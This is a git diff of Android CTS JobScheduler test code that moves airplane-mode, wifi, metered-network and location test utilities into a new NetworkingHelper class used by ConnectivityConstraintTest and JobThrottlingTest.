-        setLocationMode(mInitialLocationMode);
+        mNetworkingHelper.tearDown();
 
         super.tearDown();
     }
@@ -585,7 +515,7 @@
     }
 
     public void testJobParametersNetwork() throws Exception {
-        setAirplaneMode(false);
+        mNetworkingHelper.setAllNetworksEnabled(true);
 
         // Everything good.
         final NetworkRequest nr = new NetworkRequest.Builder()
@@ -608,7 +538,7 @@
 
         if (!hasEthernetConnection()) {
             // Deadline passed with no network satisfied.
-            setAirplaneMode(true);
+            mNetworkingHelper.setAllNetworksEnabled(false);
             ji = mBuilder
                     .setRequiredNetwork(nr)
                     .setOverrideDeadline(0)
@@ -624,7 +554,7 @@
         }
 
         // No network requested
-        setAirplaneMode(false);
+        mNetworkingHelper.setAllNetworksEnabled(true);
         ji = mBuilder.setRequiredNetwork(null).build();
         kTestEnvironment.setExpectedExecutions(1);
         mJobScheduler.schedule(ji);
@@ -875,149 +805,25 @@
     }
 
     private boolean hasEthernetConnection() {
-        if (!mHasEthernet) return false;
-        Network[] networks = mCm.getAllNetworks();
-        for (Network network : networks) {
-            if (mCm.getNetworkCapabilities(network).hasTransport(TRANSPORT_ETHERNET)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private String unquoteSSID(String ssid) {
-        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
-        // Otherwise it's guaranteed not to start with a quote.
-        if (ssid.charAt(0) == '"') {
-            return ssid.substring(1, ssid.length() - 1);
-        } else {
-            return ssid;
-        }
-    }
-
-    private String getWifiSSID() throws Exception {
-        // Location needs to be enabled to get the WiFi information.
-        setLocationMode(String.valueOf(Settings.Secure.LOCATION_MODE_ON));
-        final AtomicReference<String> ssid = new AtomicReference<>();
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            ssid.set(mWifiManager.getConnectionInfo().getSSID());
-        }, Manifest.permission.ACCESS_FINE_LOCATION);
-        return unquoteSSID(ssid.get());
-    }
-
-    private void setLocationMode(String mode) throws Exception {
-        Settings.Secure.putString(mContext.getContentResolver(),
-                Settings.Secure.LOCATION_MODE, mode);
-        final LocationManager locationManager = mContext.getSystemService(LocationManager.class);
-        final boolean wantEnabled = !String.valueOf(Settings.Secure.LOCATION_MODE_OFF).equals(mode);
-        waitUntil("Location " + (wantEnabled ? "not enabled" : "still enabled"),
-                () -> wantEnabled == locationManager.isLocationEnabled());
-    }
-
-    // Returns "true", "false" or "none"
-    private String getWifiMeteredStatus(String ssid) {
-        // Interestingly giving the SSID as an argument to list wifi-networks
-        // only works iff the network in question has the "false" policy.
-        // Also unfortunately runShellCommand does not pass the command to the interpreter
-        // so it's not possible to | grep the ssid.
-        final String command = "cmd netpolicy list wifi-networks";
-        final String policyString = SystemUtil.runShellCommand(command);
-
-        final Matcher m = Pattern.compile("^" + ssid + ";(true|false|none)$",
-                Pattern.MULTILINE | Pattern.UNIX_LINES).matcher(policyString);
-        if (!m.find()) {
-            fail("Unexpected format from cmd netpolicy (when looking for " + ssid + "): "
-                    + policyString);
-        }
-        return m.group(1);
+        return mNetworkingHelper.hasEthernetConnection();
     }
 
     private void setWifiMeteredState(boolean metered) throws Exception {
-        if (metered) {
-            // Make sure unmetered cellular networks don't interfere.
-            setAirplaneMode(true);
-            setWifiState(true, mCm, mWifiManager);
-        }
-        final String ssid = getWifiSSID();
-        setWifiMeteredState(ssid, metered ? "true" : "false");
-    }
-
-    // metered should be "true", "false" or "none"
-    private void setWifiMeteredState(String ssid, String metered) throws Exception {
-        if (metered.equals(getWifiMeteredStatus(ssid))) {
-            return;
-        }
-        SystemUtil.runShellCommand("cmd netpolicy set metered-network " + ssid + " " + metered);
-        assertEquals(getWifiMeteredStatus(ssid), metered);
+        mNetworkingHelper.setWifiMeteredState(metered);
     }
 
     /**
      * Ensure WiFi is enabled, and block until we've verified that we are in fact connected.
      */
     private void connectToWifi() throws Exception {
-        setWifiState(true, mCm, mWifiManager);
+        mNetworkingHelper.setWifiState(true);
     }
 
     /**
      * Ensure WiFi is disabled, and block until we've verified that we are in fact disconnected.
      */
     private void disconnectFromWifi() throws Exception {
-        setWifiState(false, mCm, mWifiManager);
-    }
-
-    /** Ensures that the device has a wifi network saved. */
-    static void ensureSavedWifiNetwork(WifiManager wifiManager) {
-        final List<WifiConfiguration> savedNetworks =
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        wifiManager, WifiManager::getConfiguredNetworks);
-        assertFalse("Need at least one saved wifi network", savedNetworks.isEmpty());
-    }
-
-    /**
-     * Set Wifi connection to specific state, and block until we've verified
-     * that we are in the state.
-     * Taken from {@link android.net.http.cts.ApacheHttpClientTest}.
-     */
-    static void setWifiState(final boolean enable,
-            final ConnectivityManager cm, final WifiManager wm) throws Exception {
-        if (enable != isWiFiConnected(cm, wm)) {
-            NetworkRequest nr = new NetworkRequest.Builder().clearCapabilities().build();
-            NetworkCapabilities nc = new NetworkCapabilities.Builder()
-                    .addTransportType(TRANSPORT_WIFI)
-                    .build();
-            NetworkTracker tracker = new NetworkTracker(nc, enable, cm);
-            cm.registerNetworkCallback(nr, tracker);
-
-            if (enable) {
-                SystemUtil.runShellCommand("svc wifi enable");
-                waitUntil("Failed to enable Wifi", 30 /* seconds */, () -> wm.isWifiEnabled());
-                //noinspection deprecation
-                SystemUtil.runWithShellPermissionIdentity(wm::reconnect,
-                        android.Manifest.permission.NETWORK_SETTINGS);
-            } else {
-                SystemUtil.runShellCommand("svc wifi disable");
-            }
-
-            tracker.waitForStateChange();
-
-            assertTrue("Wifi must be " + (enable ? "connected to" : "disconnected from")
-                            + " an access point for this test.",
-                    enable == isWiFiConnected(cm, wm));
-
-            cm.unregisterNetworkCallback(tracker);
-        }
-    }
-
-    static boolean isWiFiConnected(final ConnectivityManager cm, final WifiManager wm) {
-        if (!wm.isWifiEnabled()) {
-            return false;
-        }
-        final Network network = cm.getActiveNetwork();
-        if (network == null) {
-            return false;
-        }
-        final NetworkCapabilities networkCapabilities = cm.getNetworkCapabilities(network);
-        return networkCapabilities != null && networkCapabilities.hasTransport(TRANSPORT_WIFI);
+        mNetworkingHelper.setWifiState(false);
     }
 
     /**
@@ -1029,13 +835,14 @@
      * @see #checkDeviceSupportsMobileData()
      */
     private void disconnectWifiToConnectToMobile() throws Exception {
-        setAirplaneMode(false);
+        mNetworkingHelper.setAllNetworksEnabled(true);
         if (mHasWifi && mWifiManager.isWifiEnabled()) {
             NetworkRequest nr = new NetworkRequest.Builder().clearCapabilities().build();
             NetworkCapabilities nc = new NetworkCapabilities.Builder()
                     .addTransportType(TRANSPORT_CELLULAR)
                     .build();
-            NetworkTracker tracker = new NetworkTracker(nc, true, mCm);
+            NetworkingHelper.NetworkTracker tracker =
+                    new NetworkingHelper.NetworkTracker(nc, true, mCm);
             mCm.registerNetworkCallback(nr, tracker);
 
             disconnectFromWifi();
@@ -1052,107 +859,6 @@
      * If the policy is on, it interferes with tests that relies on metered connection.
      */
     private void setDataSaverEnabled(boolean enabled) throws Exception {
-        SystemUtil.runShellCommand(getInstrumentation(),
-                enabled ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
-    }
-
-    private boolean isAirplaneModeOn() throws Exception {
-        final String output = SystemUtil.runShellCommand(getInstrumentation(),
-                "cmd connectivity airplane-mode").trim();
-        return "enabled".equals(output);
-    }
-
-    private void setAirplaneMode(boolean on) throws Exception {
-        if (isAirplaneModeOn() == on) {
-            return;
-        }
-        final CallbackAsserter airplaneModeBroadcastAsserter = CallbackAsserter.forBroadcast(
-                new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
-        SystemUtil.runShellCommand(getInstrumentation(),
-                "cmd connectivity airplane-mode " + (on ? "enable" : "disable"));
-        airplaneModeBroadcastAsserter.assertCalled("Didn't get airplane mode changed broadcast",
-                15 /* 15 seconds */);
-        waitUntil("Networks didn't change to " + (!on ? " on" : " off"), 60 /* seconds */,
-                () -> {
-                    if (on) {
-                        return mCm.getActiveNetwork() == null
-                                && (!mHasWifi || !isWiFiConnected(mCm, mWifiManager));
-                    } else {
-                        return mCm.getActiveNetwork() != null;
-                    }
-                });
-        // Wait some time for the network changes to propagate. Can't use
-        // waitUntil(isAirplaneModeOn() == on) because the response quickly gives the new
-        // airplane mode status even though the network changes haven't propagated all the way to
-        // JobScheduler.
-        Thread.sleep(5000);
-    }
-
-    private static class NetworkTracker extends ConnectivityManager.NetworkCallback {
-        private static final int MSG_CHECK_ACTIVE_NETWORK = 1;
-        private final ConnectivityManager mCm;
-
-        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
-
-        private final NetworkCapabilities mExpectedCapabilities;
-
-        private final boolean mExpectedConnected;
-
-        private final Handler mHandler = new Handler(Looper.getMainLooper()) {
-            @Override
-            public void handleMessage(Message msg) {
-                if (msg.what == MSG_CHECK_ACTIVE_NETWORK) {
-                    checkActiveNetwork();
-                }
-            }
-        };
-
-        private NetworkTracker(NetworkCapabilities expectedCapabilities, boolean expectedConnected,
-                ConnectivityManager cm) {
-            mExpectedCapabilities = expectedCapabilities;
-            mExpectedConnected = expectedConnected;
-            mCm = cm;
-        }
-
-        @Override
-        public void onAvailable(Network network) {
-            // Available doesn't mean it's the active network. We need to check that separately.
-            checkActiveNetwork();
-        }
-
-        @Override
-        public void onLost(Network network) {
-            checkActiveNetwork();
-        }
-
-        boolean waitForStateChange() throws InterruptedException {
-            checkActiveNetwork();
-            return mReceiveLatch.await(60, TimeUnit.SECONDS);
-        }
-
-        private void checkActiveNetwork() {
-            mHandler.removeMessages(MSG_CHECK_ACTIVE_NETWORK);
-            if (mReceiveLatch.getCount() == 0) {
-                return;
-            }
-
-            Network activeNetwork = mCm.getActiveNetwork();
-            if (mExpectedConnected) {
-                if (activeNetwork != null && mExpectedCapabilities.satisfiedByNetworkCapabilities(
-                        mCm.getNetworkCapabilities(activeNetwork))) {
-                    mReceiveLatch.countDown();
-                } else {
-                    mHandler.sendEmptyMessageDelayed(MSG_CHECK_ACTIVE_NETWORK, 5000);
-                }
-            } else {
-                if (activeNetwork == null
-                        || !mExpectedCapabilities.satisfiedByNetworkCapabilities(
-                        mCm.getNetworkCapabilities(activeNetwork))) {
-                    mReceiveLatch.countDown();
-                } else {
-                    mHandler.sendEmptyMessageDelayed(MSG_CHECK_ACTIVE_NETWORK, 5000);
-                }
-            }
-        }
+        mNetworkingHelper.setDataSaverEnabled(enabled);
     }
 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index b885a57..3f386fa 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -18,23 +18,17 @@
 
 import static android.app.job.JobInfo.NETWORK_TYPE_ANY;
 import static android.app.job.JobInfo.NETWORK_TYPE_NONE;
-import static android.jobscheduler.cts.ConnectivityConstraintTest.ensureSavedWifiNetwork;
-import static android.jobscheduler.cts.ConnectivityConstraintTest.isWiFiConnected;
-import static android.jobscheduler.cts.ConnectivityConstraintTest.setWifiState;
 import static android.jobscheduler.cts.TestAppInterface.TEST_APP_PACKAGE;
 import static android.os.PowerManager.ACTION_DEVICE_IDLE_MODE_CHANGED;
 
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
-import static junit.framework.Assert.fail;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import android.Manifest;
 import android.app.AppOpsManager;
 import android.app.job.JobInfo;
 import android.app.job.JobParameters;
@@ -44,9 +38,6 @@
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
-import android.location.LocationManager;
-import android.net.ConnectivityManager;
-import android.net.wifi.WifiManager;
 import android.os.PowerManager;
 import android.os.SystemClock;
 import android.os.Temperature;
@@ -64,23 +55,14 @@
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.AppStandbyUtils;
 import com.android.compatibility.common.util.BatteryUtils;
-import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.DeviceConfigStateHelper;
-import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThermalUtils;
 
-import junit.framework.AssertionFailedError;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.IOException;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Tests related to job throttling -- device idle, app standby and battery saver.
  */
@@ -106,22 +88,15 @@
 
     private Context mContext;
     private UiDevice mUiDevice;
+    private NetworkingHelper mNetworkingHelper;
     private PowerManager mPowerManager;
     private int mTestJobId;
     private int mTestPackageUid;
     private boolean mDeviceInDoze;
     private boolean mDeviceIdleEnabled;
     private boolean mAppStandbyEnabled;
-    private WifiManager mWifiManager;
-    private ConnectivityManager mCm;
-    /** Whether the device running these tests supports WiFi. */
-    private boolean mHasWifi;
-    /** Track whether WiFi was enabled in case we turn it off. */
-    private boolean mInitialWiFiState;
-    private boolean mInitialAirplaneModeState;
     private String mInitialDisplayTimeout;
     private String mInitialRestrictedBucketEnabled;
-    private String mInitialLocationMode;
     private String mInitialBatteryStatsConstants;
     private boolean mAutomotiveDevice;
     private boolean mLeanbackOnly;
@@ -154,6 +129,8 @@
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mNetworkingHelper =
+                new NetworkingHelper(InstrumentationRegistry.getInstrumentation(), mContext);
         mPowerManager = mContext.getSystemService(PowerManager.class);
         mDeviceInDoze = mPowerManager.isDeviceIdleMode();
         mTestPackageUid = mContext.getPackageManager().getPackageUid(TEST_APP_PACKAGE, 0);
@@ -171,11 +148,6 @@
         } else {
             Log.w(TAG, "App standby not enabled on test device");
         }
-        mWifiManager = mContext.getSystemService(WifiManager.class);
-        mCm = mContext.getSystemService(ConnectivityManager.class);
-        mHasWifi = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI);
-        mInitialWiFiState = mWifiManager.isWifiEnabled();
-        mInitialAirplaneModeState = isAirplaneModeOn();
         mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET);
         mInitialBatteryStatsConstants = Settings.Global.getString(mContext.getContentResolver(),
@@ -183,8 +155,6 @@
         // Make sure ACTION_CHARGING is sent immediately.
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.BATTERY_STATS_CONSTANTS, "battery_charged_delay_ms=0");
-        mInitialLocationMode = Settings.Secure.getString(mContext.getContentResolver(),
-                Settings.Secure.LOCATION_MODE);
         // Make sure test jobs can run regardless of bucket.
         mDeviceConfigStateHelper =
                 new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
@@ -603,7 +573,7 @@
         mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
         mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
-        setAirplaneMode(true);
+        mNetworkingHelper.setAllNetworksEnabled(false);
         setScreenState(true);
 
         setChargingState(false);
@@ -634,9 +604,9 @@
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
         assumeFalse("not testable in automotive device", mAutomotiveDevice);
         assumeFalse("not testable in leanback device", mLeanbackOnly);
-
-        assumeTrue(mHasWifi);
-        ensureSavedWifiNetwork(mWifiManager);
+        assumeFalse("not testable, since ethernet is connected", hasEthernetConnection());
+        assumeTrue(mNetworkingHelper.hasWifiFeature());
+        mNetworkingHelper.ensureSavedWifiNetwork();
 
         setRestrictedBucketEnabled(true);
 
@@ -644,7 +614,7 @@
         mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
         mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
-        setAirplaneMode(true);
+        mNetworkingHelper.setAllNetworksEnabled(false);
         setScreenState(true);
 
         setChargingState(false);
@@ -673,9 +643,8 @@
         assertFalse("New job started in RESTRICTED bucket", mTestAppInterface.awaitJobStart(3_000));
 
         // Add network
-        setAirplaneMode(false);
-        setWifiState(true, mCm, mWifiManager);
-        setWifiMeteredState(false);
+        mNetworkingHelper.setAllNetworksEnabled(true);
+        mNetworkingHelper.setWifiMeteredState(false);
         runJob();
         assertTrue("New job didn't start in RESTRICTED bucket",
                 mTestAppInterface.awaitJobStart(5_000));
@@ -978,8 +947,8 @@
         assumeFalse("not testable in automotive device", mAutomotiveDevice);
         assumeFalse("not testable in leanback device", mLeanbackOnly);
 
-        assumeTrue(mHasWifi);
-        ensureSavedWifiNetwork(mWifiManager);
+        assumeTrue(mNetworkingHelper.hasWifiFeature());
+        mNetworkingHelper.ensureSavedWifiNetwork();
 
         setRestrictedBucketEnabled(true);
         setTestPackageStandbyBucket(Bucket.RESTRICTED);
@@ -989,9 +958,8 @@
         mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
         // Satisfy all additional constraints.
-        setAirplaneMode(false);
-        setWifiState(true, mCm, mWifiManager);
-        setWifiMeteredState(false);
+        mNetworkingHelper.setAllNetworksEnabled(true);
+        mNetworkingHelper.setWifiMeteredState(false);
         setChargingState(true);
         BatteryUtils.runDumpsysBatterySetLevel(100);
         setScreenState(false);
@@ -1004,13 +972,12 @@
         runJob();
         assertTrue("New job didn't start in RESTRICTED bucket",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
-        setAirplaneMode(true);
+        mNetworkingHelper.setAllNetworksEnabled(false);
         assertTrue("New job didn't stop when connectivity dropped",
                 mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
         assertEquals(JobParameters.STOP_REASON_CONSTRAINT_CONNECTIVITY,
                 mTestAppInterface.getLastParams().getStopReason());
-        setAirplaneMode(false);
-        setWifiState(true, mCm, mWifiManager);
+        mNetworkingHelper.setAllNetworksEnabled(true);
 
         // Idle
         mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
@@ -1195,23 +1162,12 @@
                 Settings.Global.BATTERY_STATS_CONSTANTS, mInitialBatteryStatsConstants);
         removeTestAppFromTempWhitelist();
 
-        // Ensure that we leave WiFi in its previous state.
-        if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
-            try {
-                setWifiState(mInitialWiFiState, mCm, mWifiManager);
-            } catch (AssertionFailedError e) {
-                // Don't fail the test just because wifi state wasn't set in tearDown.
-                Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
-            }
-        }
+        mNetworkingHelper.tearDown();
         mDeviceConfigStateHelper.restoreOriginalValues();
         mActivityManagerDeviceConfigStateHelper.restoreOriginalValues();
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
-        if (isAirplaneModeOn() != mInitialAirplaneModeState) {
-            setAirplaneMode(mInitialAirplaneModeState);
-        }
-        setLocationMode(mInitialLocationMode);
+
         mUiDevice.executeShellCommand(
                 "cmd jobscheduler reset-execution-quota -u " + UserHandle.myUserId()
                         + " " + TEST_APP_PACKAGE);
@@ -1367,110 +1323,8 @@
                 + " -u " + UserHandle.myUserId() + " " + TEST_APP_PACKAGE + " " + mTestJobId);
     }
 
-    private boolean isAirplaneModeOn() throws IOException {
-        final String output =
-                mUiDevice.executeShellCommand("cmd connectivity airplane-mode").trim();
-        return "enabled".equals(output);
-    }
-
-    private void setAirplaneMode(boolean on) throws Exception {
-        final CallbackAsserter airplaneModeBroadcastAsserter = CallbackAsserter.forBroadcast(
-                new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
-        mUiDevice.executeShellCommand(
-                "cmd connectivity airplane-mode " + (on ? "enable" : "disable"));
-        airplaneModeBroadcastAsserter.assertCalled("Didn't get airplane mode changed broadcast",
-                15 /* 15 seconds */);
-        if (!on && mHasWifi) {
-            // Force wifi to connect ASAP.
-            mUiDevice.executeShellCommand("svc wifi enable");
-            waitUntil("Failed to enable Wifi", 30 /* seconds */,
-                    () -> {
-                        return mWifiManager.isWifiEnabled();
-                    });
-            //noinspection deprecation
-            SystemUtil.runWithShellPermissionIdentity(mWifiManager::reconnect,
-                    android.Manifest.permission.NETWORK_SETTINGS);
-        }
-        waitUntil("Networks didn't change to " + (!on ? "on" : "off"), 60 /* seconds */,
-                () -> {
-                    if (on) {
-                        return mCm.getActiveNetwork() == null
-                                && (!mHasWifi || !isWiFiConnected(mCm, mWifiManager));
-                    } else {
-                        return mCm.getActiveNetwork() != null;
-                    }
-                });
-        // Wait some time for the network changes to propagate. Can't use
-        // waitUntil(isAirplaneModeOn() == on) because the response quickly gives the new
-        // airplane mode status even though the network changes haven't propagated all the way to
-        // JobScheduler.
-        Thread.sleep(5000);
-    }
-
-    private static String unquoteSSID(String ssid) {
-        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
-        // Otherwise it's guaranteed not to start with a quote.
-        if (ssid.charAt(0) == '"') {
-            return ssid.substring(1, ssid.length() - 1);
-        } else {
-            return ssid;
-        }
-    }
-
-    private String getWifiSSID() throws Exception {
-        // Location needs to be enabled to get the WiFi information.
-        setLocationMode(String.valueOf(Settings.Secure.LOCATION_MODE_ON));
-        final AtomicReference<String> ssid = new AtomicReference<>();
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            ssid.set(mWifiManager.getConnectionInfo().getSSID());
-        }, Manifest.permission.ACCESS_FINE_LOCATION);
-        return unquoteSSID(ssid.get());
-    }
-
-    private void setLocationMode(String mode) throws Exception {
-        Settings.Secure.putString(mContext.getContentResolver(),
-                Settings.Secure.LOCATION_MODE, mode);
-        final LocationManager locationManager = mContext.getSystemService(LocationManager.class);
-        final boolean wantEnabled = !String.valueOf(Settings.Secure.LOCATION_MODE_OFF).equals(mode);
-        waitUntil("Location " + (wantEnabled ? "not enabled" : "still enabled"),
-                () -> wantEnabled == locationManager.isLocationEnabled());
-    }
-
-    // Returns "true", "false" or "none"
-    private String getWifiMeteredStatus(String ssid) {
-        // Interestingly giving the SSID as an argument to list wifi-networks
-        // only works iff the network in question has the "false" policy.
-        // Also unfortunately runShellCommand does not pass the command to the interpreter
-        // so it's not possible to | grep the ssid.
-        final String command = "cmd netpolicy list wifi-networks";
-        final String policyString = SystemUtil.runShellCommand(command);
-
-        final Matcher m = Pattern.compile("^" + ssid + ";(true|false|none)$",
-                Pattern.MULTILINE | Pattern.UNIX_LINES).matcher(policyString);
-        if (!m.find()) {
-            fail("Unexpected format from cmd netpolicy (when looking for " + ssid + "): "
-                    + policyString);
-        }
-        return m.group(1);
-    }
-
-    private void setWifiMeteredState(boolean metered) throws Exception {
-        if (metered) {
-            // Make sure unmetered cellular networks don't interfere.
-            setAirplaneMode(true);
-            setWifiState(true, mCm, mWifiManager);
-        }
-        final String ssid = getWifiSSID();
-        setWifiMeteredState(ssid, metered ? "true" : "false");
-    }
-
-    // metered should be "true", "false" or "none"
-    private void setWifiMeteredState(String ssid, String metered) {
-        if (metered.equals(getWifiMeteredStatus(ssid))) {
-            return;
-        }
-        SystemUtil.runShellCommand("cmd netpolicy set metered-network " + ssid + " " + metered);
-        assertEquals(getWifiMeteredStatus(ssid), metered);
+    private boolean hasEthernetConnection() {
+        return mNetworkingHelper.hasEthernetConnection();
     }
 
     private String getJobState() throws Exception {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/NetworkingHelper.java b/tests/JobScheduler/src/android/jobscheduler/cts/NetworkingHelper.java
new file mode 100644
index 0000000..1402975
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/NetworkingHelper.java
@@ -0,0 +1,432 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import static android.net.NetworkCapabilities.TRANSPORT_ETHERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.Manifest;
+import android.annotation.NonNull;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.provider.Settings;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CallbackAsserter;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import junit.framework.AssertionFailedError;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class NetworkingHelper {
+    private static final String TAG = "JsNetworkingUtils";
+
+    private static final String RESTRICT_BACKGROUND_GET_CMD =
+            "cmd netpolicy get restrict-background";
+    private static final String RESTRICT_BACKGROUND_ON_CMD =
+            "cmd netpolicy set restrict-background true";
+    private static final String RESTRICT_BACKGROUND_OFF_CMD =
+            "cmd netpolicy set restrict-background false";
+
+    private final Context mContext;
+    private final Instrumentation mInstrumentation;
+
+    private final ConnectivityManager mConnectivityManager;
+    private final WifiManager mWifiManager;
+
+    /** Whether the device running these tests supports WiFi. */
+    private final boolean mHasWifi;
+    /** Whether the device running these tests supports ethernet. */
+    private final boolean mHasEthernet;
+    /** Whether the device running these tests supports telephony. */
+    private final boolean mHasTelephony;
+
+    private final boolean mInitialAirplaneModeState;
+    private final boolean mInitialDataSaverState;
+    private final String mInitialLocationMode;
+    private final boolean mInitialWiFiState;
+    private String mInitialWiFiMeteredState;
+    private String mInitialWiFiSSID;
+
+    NetworkingHelper(@NonNull Instrumentation instrumentation, @NonNull Context context)
+            throws Exception {
+        mContext = context;
+        mInstrumentation = instrumentation;
+
+        mConnectivityManager = context.getSystemService(ConnectivityManager.class);
+        mWifiManager = context.getSystemService(WifiManager.class);
+
+        PackageManager packageManager = mContext.getPackageManager();
+        mHasWifi = packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI);
+        mHasEthernet = packageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET);
+        mHasTelephony = packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+
+        mInitialAirplaneModeState = isAirplaneModeOn();
+        mInitialDataSaverState = isDataSaverEnabled();
+        mInitialLocationMode = Settings.Secure.getString(
+                mContext.getContentResolver(), Settings.Secure.LOCATION_MODE);
+        mInitialWiFiState = mHasWifi && isWifiEnabled();
+    }
+
+    /** Ensures that the device has a wifi network saved. */
+    void ensureSavedWifiNetwork() throws Exception {
+        if (!mHasWifi) {
+            return;
+        }
+        final List<WifiConfiguration> savedNetworks =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mWifiManager, WifiManager::getConfiguredNetworks);
+        assertFalse("Need at least one saved wifi network", savedNetworks.isEmpty());
+
+        setWifiState(true);
+        if (mInitialWiFiSSID == null) {
+            mInitialWiFiSSID = getWifiSSID();
+            mInitialWiFiMeteredState = getWifiMeteredStatus(mInitialWiFiSSID);
+        }
+    }
+
+    // Returns "true", "false", or "none".
+    private String getWifiMeteredStatus(String ssid) {
+        // Interestingly giving the SSID as an argument to list wifi-networks
+        // only works iff the network in question has the "false" policy.
+        // Also unfortunately runShellCommand does not pass the command to the interpreter
+        // so it's not possible to | grep the ssid.
+        final String command = "cmd netpolicy list wifi-networks";
+        final String policyString = SystemUtil.runShellCommand(command);
+
+        final Matcher m = Pattern.compile(ssid + ";(true|false|none)",
+                Pattern.MULTILINE | Pattern.UNIX_LINES).matcher(policyString);
+        if (!m.find()) {
+            fail("Unexpected format from cmd netpolicy (when looking for " + ssid + "): "
+                    + policyString);
+        }
+        return m.group(1);
+    }
+
+    @NonNull
+    private String getWifiSSID() throws Exception {
+        // Location needs to be enabled to get the WiFi information.
+        setLocationMode(String.valueOf(Settings.Secure.LOCATION_MODE_ON));
+        final AtomicReference<String> ssid = new AtomicReference<>();
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> ssid.set(mWifiManager.getConnectionInfo().getSSID()),
+                Manifest.permission.ACCESS_FINE_LOCATION);
+        return unquoteSSID(ssid.get());
+    }
+
+    boolean hasEthernetConnection() {
+        if (!mHasEthernet) return false;
+        Network[] networks = mConnectivityManager.getAllNetworks();
+        for (Network network : networks) {
+            if (mConnectivityManager.getNetworkCapabilities(network)
+                    .hasTransport(TRANSPORT_ETHERNET)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    boolean hasWifiFeature() {
+        return mHasWifi;
+    }
+
+    boolean isAirplaneModeOn() throws Exception {
+        final String output = SystemUtil.runShellCommand(mInstrumentation,
+                "cmd connectivity airplane-mode").trim();
+        return "enabled".equals(output);
+    }
+
